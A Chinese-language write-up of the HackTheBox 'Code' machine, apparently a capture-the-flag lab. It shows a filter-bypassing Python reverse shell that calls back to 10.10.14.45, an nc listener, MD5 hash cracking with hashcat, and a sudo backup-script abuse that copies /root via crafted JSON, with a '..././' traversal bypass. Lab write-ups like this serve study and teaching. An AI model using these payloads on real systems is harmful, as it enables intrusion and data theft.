HackTheBox [Code] WriteUp

GetShell

首先拿到 IP ,扫描端口,发现开放了 225000 。发现 5000 是个 HTTP ,访问发现可以直接执行 Python 代码,当然是过滤了一些危险函数的。

我直接用 getattr 绕过弹 shell 了,首先开启 nc 监听。

nc -lv 9443

然后直接运行就可以反弹了。

o_s = getattr(print.__self__, '__im' + 'port__')('o' + 's')
so = getattr(print.__self__, '__im' + 'port__')('soc' + 'ket')
sub = getattr(print.__self__, '__im' + 'port__')('subpro' + 'cess')
s=so.socket(so.AF_INET,so.SOCK_STREAM);
s.connect(('10.10.14.45',9443));
o_s.dup2(s.fileno(),0);
o_s.dup2(s.fileno(),1);
o_s.dup2(s.fileno(),2);
p=sub.call(['/bin/bash','-i']);

拿到 shell 之后发现有个 database.db SQLite 数据库。里面有两个用户,找到 MD5 加密后的用户和密码,对比 /etc/passwd ,发现 martin 用户是存在的,所以可以先破解密码,然后去撞库 SSH 。

使用 HashCat 破解密码。

hashcat -m 0 martin.hash rockyou.txt

成功破解出密码并登上 SSH 。此时 GetShell 成功。

提权

其实我自己提权的思路有点问题,只是能够获取到 /root 下的所有文件,包括 flag 文件,并没有真正意义上提权成为 root ,先记录一下。

首先使用 ssh -l 查看可执行的特权指令,发现有个 /usr/bin/backy.sh

查看里面的内容,发现是对输入的 $json_file 做了一系列过滤处理,然后交给 backy 这个二进制程序了。

在 GitHub 上找到了 backy 这个程序的 源码 ,分析源码,发现实际上调用了 rsynctar 两个命令来对文件夹进行备份,并且 rsync 接受 json 文件中的 directories_to_sync 作为同步的源路径。

/usr/bin/backy.sh 只对 tar 处理的 directories_to_archive 参数进行了控制,所以就可以构造这样一个攻击链:首先把 /root 文件夹通过 rsync 同步到用户目录下,此时同步过来的文件夹也是只有 root 用户才能访问的,所以再借助 backy 将同步过来的文件夹进行 tar 打包,最后下载解压就能看到里面的内容了。

首先修改 task.json 文件。

{
	"destination": "/home/martin/root",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_sync": [
		"/root"
	]
}

然后执行 sudo backy.sh task.json ,此时 /root 的内容就同步到 /home/martin/root 了,然后修改 task.json 文件。

{
	"destination": "/home/martin/backup",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/martin/root"
	]
}

执行 sudo backy.sh task.json ,就可以在 /home/martin/backup 下找到压缩包了,解压可以得到 root 的 flag 。

但是这个思路有一个很明显的问题,就是 rsync 同步时, 并不会把隐藏文件夹 .ssh 也同步过来,所以就不能提权成为 root ,后来看其他人的 WriteUp 才发现是要通过双写绕过 ../ ,比如 ..././ ,总之,题目还是很有趣的。

评论